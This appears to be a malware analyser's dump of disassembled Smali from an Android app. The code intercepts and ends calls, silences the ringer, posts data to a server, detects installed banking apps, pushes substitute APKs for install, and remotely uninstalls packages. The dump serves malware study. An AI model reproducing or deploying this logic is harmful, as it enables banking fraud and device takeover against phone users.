132 | const-string v3, "\u6211\u5df2\u7ecf\u63a5\u6536\u5230\u4e86\u5378\u8f7d\u8f6f\u4ef6\u7684\u5e7f\u64ad" | |
134 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
135 | cond_b0: return-void | |
136 | catch_b1: move-exception v0 | |
138 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
139 | goto/16 :goto_a9 | |
140 | cond_b6: | |
141 | sget-object v2, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
143 | invoke-static {v2}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V | |
144 | try_end_bb: goto/16 :goto_a9 | |
145 | catch_bc: move-exception v2 | |
146 | goto/16 :goto_a9 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
3 | const/4 v6, 0x0 | |
5 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
6 | move-result-object v0 | |
8 | const-string v4, "incoming_number" | |
10 | invoke-virtual {p2, v4}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
11 | move-result-object v4 | |
12 | iput-object v4, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
14 | const-string v4, "android.intent.action.NEW_OUTGOING_CALL" | |
16 | invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
17 | move-result v4 | |
18 | if-nez v4, :cond_35 | |
19 | const/4 v2, 0x0 | |
21 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
23 | const-string v5, "audio" | |
25 | invoke-virtual {v4, v5}, Lcom/example/adt/CoreService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
26 | move-result-object v2 | |
27 | check-cast v2, Landroid/media/AudioManager; | |
29 | invoke-virtual {v2, v6, v6}, Landroid/media/AudioManager;->setVibrateSetting(II)V |
|
31 | invoke-virtual {v2, v6}, Landroid/media/AudioManager;->setRingerMode(I)V |
|
33 | const-string v4, "phone" | |
35 | invoke-virtual {p1, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
36 | move-result-object v3 | |
37 | check-cast v3, Landroid/telephony/TelephonyManager; | |
38 | try_start_2e: | |
39 | invoke-virtual {v3}, Landroid/telephony/TelephonyManager;->getCallState()I | |
40 | move-result v4 | |
41 | packed-switch v4, :pswitch_data_a2 | |
42 | pswitch_35: return-void | |
43 | pswitch_36: | |
44 | sget-object v4, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
46 | const-string v5, "iscall" | |
47 | const/4 v6, 0x1 | |
49 | invoke-static {v4, v5, v6}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;I)I | |
50 | move-result v4 | |
52 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; | |
53 | move-result-object v1 | |
55 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
56 | new-instance v5, Ljava/lang/StringBuilder; | |
58 | const-string v6, "\u6765\u7535\u53f7\u7801 \uff1a " | |
60 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
62 | iget-object v6, p0, Lcom/example/adt/PhoneListener;->number:Ljava/lang/String; | |
64 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
65 | move-result-object v5 | |
67 | const-string v6, " \u72b6\u6001: " | |
69 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
70 | move-result-object v5 | |
72 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
73 | move-result-object v5 | |
75 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
76 | move-result-object v5 | |
78 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
79 | const/4 v4, 0x1 | |
81 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
82 | move-result-object v4 | |
84 | invoke-virtual {v1, v4}, Ljava/lang/Integer;->equals(Ljava/lang/Object;)Z | |
85 | move-result v4 | |
86 | if-eqz v4, :cond_35 | |
88 | invoke-direct {p0}, Lcom/example/adt/PhoneListener;->endCall()V | |
90 | sget-object v4, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
91 | new-instance v5, Ljava/lang/StringBuilder; | |
93 | const-string v6, "\u62e6\u622a\u547d\u4ee4\u662f\u5426\u5f00\u542f =>" | |
95 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
97 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
98 | move-result-object v5 | |
100 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
101 | move-result-object v5 | |
103 | invoke-virtual {v4, v5}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
104 | new-instance v4, Ljava/lang/Thread; | |
105 | new-instance v5, Lcom/example/adt/PhoneListener$1; | |
107 | invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$1;-><init>(Lcom/example/adt/PhoneListener;)V | |
109 | invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
111 | invoke-virtual {v4}, Ljava/lang/Thread;->start()V | |
112 | new-instance v4, Ljava/lang/Thread; | |
113 | new-instance v5, Lcom/example/adt/PhoneListener$2; | |
115 | invoke-direct {v5, p0}, Lcom/example/adt/PhoneListener$2;-><init>(Lcom/example/adt/PhoneListener;)V | |
117 | invoke-direct {v4, v5}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
119 | invoke-virtual {v4}, Ljava/lang/Thread;->start()V | |
120 | try_end_9f: goto/16 :goto_35 | |
121 | catch_a0: move-exception v4 | |
122 | goto/16 :goto_35 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "httpUrl" | |
1 | .parameter "id" | |
2 | .parameter "pw" | |
3 | .parameter "cn" | |
4 | .prologue | |
6 | const-string v4, "" | |
7 | new-instance v1, Lorg/apache/http/client/methods/HttpPost; | |
9 | invoke-direct {v1, p1}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
10 | new-instance v3, Ljava/util/ArrayList; | |
12 | invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V | |
13 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
15 | const-string v6, "num1" | |
17 | invoke-direct {v5, v6, p2}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
19 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
20 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
22 | const-string v6, "num2" | |
24 | invoke-direct {v5, v6, p3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
26 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
27 | new-instance v5, Lorg/apache/http/message/BasicNameValuePair; | |
29 | const-string v6, "com" | |
31 | invoke-direct {v5, v6, p4}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
33 | invoke-interface {v3, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
34 | try_start_2a: new-instance v5, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
36 | const-string v6, "UTF-8" | |
38 | invoke-direct {v5, v3, v6}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V |
|
40 | invoke-virtual {v1, v5}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
41 | new-instance v5, Lorg/apache/http/impl/client/DefaultHttpClient; | |
43 | invoke-direct {v5}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
45 | invoke-virtual {v5, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
46 | move-result-object v2 | |
48 | invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
49 | move-result-object v5 | |
51 | invoke-interface {v5}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
52 | move-result v5 | |
53 | const/16 v6, 0xc8 | |
54 | if-ne v5, v6, :cond_52 | |
56 | invoke-interface {v2}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
57 | move-result-object v5 | |
59 | invoke-static {v5}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
60 | move-result-object v4 | |
61 | goto_51: return-object v4 | |
62 | cond_52: | |
63 | const-string v4, "\u8fde\u63a5\u5931\u8d25" | |
64 | try_end_54: goto/16 :goto_51 | |
65 | catch_55: move-exception v0 | |
67 | invoke-virtual {v0}, Lorg/apache/http/client/ClientProtocolException;->printStackTrace()V | |
68 | goto/16 :goto_51 | |
69 | catch_5a: move-exception v0 | |
71 | invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V | |
72 | goto/16 :goto_51 | |
73 | catch_5f: move-exception v0 | |
75 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
76 | goto/16 :goto_51 |
Method: com.example.adt.App->autoChangeApps() Relevance: 7.6, APIs: 0, Strings:
4, Instructions: 123
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "" | |
4 | const-string v6, "" | |
6 | sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
8 | invoke-virtual {v11}, Lcom/example/adt/CoreService;->getPackageManager()Landroid/content/pm/PackageManager; | |
9 | move-result-object v10 | |
10 | const/4 v11, 0x0 | |
12 | invoke-virtual {v10, v11}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
13 | move-result-object v8 | |
15 | invoke-interface {v8}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
16 | move-result-object v11 | |
17 | cond_13: | |
18 | invoke-interface {v11}, Ljava/util/Iterator;->hasNext()Z | |
19 | move-result v12 | |
20 | if-nez v12, :cond_1b | |
21 | move-object v7, v6 | |
22 | goto_1a: return-object v7 | |
23 | cond_1b: | |
24 | invoke-interface {v11}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
25 | move-result-object v9 | |
26 | check-cast v9, Landroid/content/pm/PackageInfo; | |
28 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
29 | iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I | |
30 | and-int/lit8 v12, v12, 0x1 | |
31 | if-nez v12, :cond_13 | |
33 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
34 | iget v12, v12, Landroid/content/pm/ApplicationInfo;->flags:I | |
35 | and-int/lit16 v12, v12, 0x80 | |
36 | if-nez v12, :cond_13 | |
37 | new-instance v12, Ljava/lang/StringBuilder; | |
39 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
40 | move-result-object v13 | |
42 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
44 | iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
46 | invoke-virtual {v13, v10}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
47 | move-result-object v13 | |
49 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
50 | move-result-object v12 | |
52 | const-string v13, "#" | |
54 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
55 | move-result-object v12 | |
57 | iget-object v13, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
59 | iget-object v13, v13, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
61 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
62 | move-result-object v12 | |
64 | const-string v13, "|" | |
66 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
67 | move-result-object v12 | |
69 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
70 | move-result-object v0 | |
71 | const/4 v2, 0x0 | |
72 | goto_5d: | |
73 | sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
74 | array-length v12, v12 | |
75 | if-ge v2, v12, :cond_13 | |
77 | sget-object v12, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
78 | aget-object v5, v12, v2 | |
80 | sget-object v12, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
81 | aget-object v4, v12, v2 | |
83 | iget-object v12, v9, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
85 | iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String; | |
87 | invoke-virtual {v5, v12}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
88 | move-result v12 | |
89 | if-eqz v12, :cond_a1 | |
91 | invoke-static {v4}, Lcom/example/adt/App;->hasApp(Ljava/lang/String;)Z | |
92 | move-result v12 | |
93 | if-nez v12, :cond_a1 | |
94 | sget v12, Lcom/example/adt/Config;->isAlert:I | |
95 | if-nez v12, :cond_a1 | |
97 | sget-object v11, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
98 | aget-object v6, v11, v2 | |
99 | new-instance v3, Landroid/content/Intent; | |
101 | invoke-direct {v3}, Landroid/content/Intent;-><init>()V | |
102 | new-instance v1, Landroid/os/Bundle; | |
104 | invoke-direct {v1}, Landroid/os/Bundle;-><init>()V | |
106 | const-string v11, "apk" | |
108 | invoke-virtual {v1, v11, v6}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
110 | invoke-virtual {v3, v1}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; | |
112 | const-string v11, "app.auto.install" | |
114 | invoke-virtual {v3, v11}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
116 | sget-object v11, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
118 | invoke-virtual {v11, v3}, Lcom/example/adt/CoreService;->sendBroadcast(Landroid/content/Intent;)V | |
119 | move-object v7, v6 | |
120 | goto/16 :goto_1a | |
121 | cond_a1: add-int/lit8 v2, v2, 0x1 | |
122 | goto/16 :goto_5d |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "httpUrl" | |
1 | .prologue | |
2 | new-instance v12, Ljava/lang/StringBuilder; | |
4 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
5 | move-result-object v13 | |
7 | invoke-virtual {v13}, Ljava/util/Calendar;->getTimeInMillis()J | |
8 | move-result-wide v13 | |
10 | invoke-static {v13, v14}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; | |
11 | move-result-object v13 | |
13 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
15 | const-string v13, ".apk" | |
17 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
18 | move-result-object v12 | |
20 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
21 | move-result-object v6 | |
22 | new-instance v10, Ljava/io/File; | |
24 | invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String; | |
25 | move-result-object v12 | |
27 | invoke-direct {v10, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V | |
29 | invoke-virtual {v10}, Ljava/io/File;->exists()Z | |
30 | move-result v12 | |
31 | if-nez v12, :cond_2d | |
33 | invoke-virtual {v10}, Ljava/io/File;->mkdir()Z | |
34 | cond_2d: new-instance v5, Ljava/io/File; | |
35 | new-instance v12, Ljava/lang/StringBuilder; | |
37 | invoke-static {}, Lcom/example/adt/Config;->getSDPath()Ljava/lang/String; | |
38 | move-result-object v13 | |
40 | invoke-static {v13}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
41 | move-result-object v13 | |
43 | invoke-direct {v12, v13}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
45 | const-string v13, "/" | |
47 | invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
48 | move-result-object v12 | |
50 | invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
51 | move-result-object v12 | |
53 | invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
54 | move-result-object v12 | |
56 | invoke-direct {v5, v12}, Ljava/io/File;-><init>(Ljava/lang/String;)V | |
57 | try_start_4d: new-instance v11, Ljava/net/URL; | |
59 | invoke-direct {v11, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
60 | try_start_52: | |
61 | invoke-virtual {v11}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
62 | move-result-object v1 | |
63 | check-cast v1, Ljava/net/HttpURLConnection; | |
65 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
66 | move-result-object v8 | |
67 | new-instance v7, Ljava/io/FileOutputStream; | |
69 | invoke-direct {v7, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
70 | const/16 v12, 0x400 | |
71 | new-array v0, v12, [B | |
73 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V | |
74 | const-wide/16 v2, 0x0 | |
76 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I | |
77 | move-result v12 | |
78 | const/16 v13, 0x190 | |
79 | if-lt v12, v13, :cond_8f | |
81 | const-string v12, "time" | |
83 | const-string v13, "time exceed" | |
85 | invoke-static {v12, v13}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
86 | goto_79: | |
87 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V | |
89 | invoke-virtual {v7}, Ljava/io/FileOutputStream;->close()V | |
91 | invoke-virtual {v8}, Ljava/io/InputStream;->close()V | |
92 | goto_82: return-object v5 | |
93 | cond_83: if-eqz v8, :cond_79 | |
95 | invoke-virtual {v8, v0}, Ljava/io/InputStream;->read([B)I | |
96 | move-result v9 | |
97 | if-lez v9, :cond_79 | |
98 | const/4 v12, 0x0 | |
100 | invoke-virtual {v7, v0, v12, v9}, Ljava/io/FileOutputStream;->write([BII)V |
|
101 | try_end_8f: const-wide/high16 v12, 0x4059 | |
102 | cmpg-double v12, v2, v12 | |
103 | if-lez v12, :cond_83 | |
104 | goto/16 :goto_79 | |
105 | catch_96: move-exception v4 | |
106 | try_start_97: | |
107 | invoke-virtual {v4}, Ljava/io/IOException;->printStackTrace()V | |
108 | try_end_9a: goto/16 :goto_82 | |
109 | catch_9b: move-exception v4 | |
111 | invoke-virtual {v4}, Ljava/net/MalformedURLException;->printStackTrace()V | |
112 | goto/16 :goto_82 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .annotation build Landroid/annotation/SuppressLint; | |
2 | value = { | |
3 | "DefaultLocale" | |
4 | } | |
5 | .end annotation | |
6 | .prologue | |
7 | const/4 v2, -0x1 | |
9 | const-string v5, "connectivity" | |
11 | invoke-virtual {p0, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
12 | move-result-object v0 | |
13 | check-cast v0, Landroid/net/ConnectivityManager; | |
15 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; | |
16 | move-result-object v4 | |
17 | if-nez v4, :cond_11 | |
18 | move v3, v2 | |
19 | goto_10: return v3 | |
20 | cond_11: | |
21 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getType()I | |
22 | move-result v1 | |
24 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
25 | new-instance v6, Ljava/lang/StringBuilder; | |
27 | const-string v7, "networkInfo.getExtraInfo() is " | |
29 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
31 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String; | |
32 | move-result-object v7 | |
34 | invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
35 | move-result-object v6 | |
37 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
38 | move-result-object v6 | |
40 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
41 | if-nez v1, :cond_44 | |
43 | invoke-virtual {v4}, Landroid/net/NetworkInfo;->getExtraInfo()Ljava/lang/String; | |
44 | move-result-object v5 | |
46 | invoke-virtual {v5}, Ljava/lang/String;->toLowerCase()Ljava/lang/String; | |
47 | move-result-object v5 | |
49 | const-string v6, "cmnet" | |
51 | invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
52 | move-result v5 | |
53 | if-eqz v5, :cond_42 | |
54 | const/4 v2, 0x3 | |
55 | goto_40: move v3, v2 | |
56 | goto/16 :goto_10 | |
57 | cond_42: const/4 v2, 0x2 | |
58 | goto/16 :goto_40 | |
59 | cond_44: const/4 v5, 0x1 | |
60 | if-ne v1, v5, :cond_40 | |
61 | const/4 v2, 0x1 | |
62 | goto/16 :goto_40 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "packageName" | |
1 | .prologue | |
3 | sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
4 | new-instance v3, Ljava/lang/StringBuilder; | |
6 | const-string v4, "\u8981\u5378\u8f7d\u7684\u5305 => " | |
8 | invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
10 | invoke-virtual {v3, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
11 | move-result-object v3 | |
13 | invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
14 | move-result-object v3 | |
16 | invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
17 | new-instance v2, Ljava/lang/StringBuilder; | |
19 | const-string v3, "package:" | |
21 | invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
23 | invoke-virtual {p0}, Ljava/lang/String;->trim()Ljava/lang/String; | |
24 | move-result-object v3 | |
26 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
27 | move-result-object v2 | |
29 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
30 | move-result-object v2 | |
32 | invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; | |
33 | move-result-object v1 | |
34 | new-instance v0, Landroid/content/Intent; | |
36 | const-string v2, "android.intent.action.DELETE" | |
38 | invoke-direct {v0, v2, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V |
|
39 | const/high16 v2, 0x1000 | |
41 | invoke-virtual {v0, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
43 | sget-object v2, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
45 | invoke-virtual {v2, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V | |
46 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "file" | |
1 | .prologue | |
3 | const-string v1, "OpenFile" | |
5 | invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String; | |
6 | move-result-object v2 | |
8 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
9 | new-instance v0, Landroid/content/Intent; | |
11 | invoke-direct {v0}, Landroid/content/Intent;-><init>()V | |
12 | const/high16 v1, 0x1000 | |
14 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
16 | const-string v1, "android.intent.action.VIEW" | |
18 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
20 | invoke-static {p0}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri; | |
21 | move-result-object v1 | |
23 | const-string v2, "application/vnd.android.package-archive" | |
25 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent; |
|
27 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
29 | invoke-virtual {v1, v0}, Lcom/example/adt/CoreService;->startActivity(Landroid/content/Intent;)V | |
30 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "" | |
4 | iget-object v7, p0, Lcom/example/adt/App;->mContext:Landroid/content/Context; | |
6 | invoke-virtual {v7}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager; | |
7 | move-result-object v4 | |
8 | const/4 v7, 0x0 | |
10 | invoke-virtual {v4, v7}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List; |
|
11 | move-result-object v2 | |
13 | invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator; | |
14 | move-result-object v7 | |
15 | cond_11: | |
16 | invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z | |
17 | move-result v8 | |
18 | if-nez v8, :cond_3c | |
20 | sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
22 | const-string v8, "" | |
24 | invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
25 | move-result v7 | |
26 | if-nez v7, :cond_29 | |
28 | sget-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
30 | invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
31 | move-result-object v7 | |
32 | sput-object v7, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
33 | cond_29: | |
34 | sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
36 | const-string v8, "" | |
38 | invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
39 | move-result v7 | |
40 | if-nez v7, :cond_3b | |
42 | sget-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
44 | invoke-static {v7}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;)Ljava/lang/String; | |
45 | move-result-object v7 | |
46 | sput-object v7, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
47 | cond_3b: return-object v0 | |
48 | cond_3c: | |
49 | invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object; | |
50 | move-result-object v3 | |
51 | check-cast v3, Landroid/content/pm/PackageInfo; | |
53 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
54 | iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I | |
55 | and-int/lit8 v8, v8, 0x1 | |
56 | if-nez v8, :cond_11 | |
58 | iget-object v8, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
59 | iget v8, v8, Landroid/content/pm/ApplicationInfo;->flags:I | |
60 | and-int/lit16 v8, v8, 0x80 | |
61 | if-nez v8, :cond_11 | |
62 | new-instance v8, Ljava/lang/StringBuilder; | |
64 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
65 | move-result-object v9 | |
67 | invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
69 | iget-object v9, v3, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo; | |
71 | invoke-virtual {v9, v4}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence; | |
72 | move-result-object v9 | |
74 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
75 | move-result-object v8 | |
77 | const-string v9, "#" | |
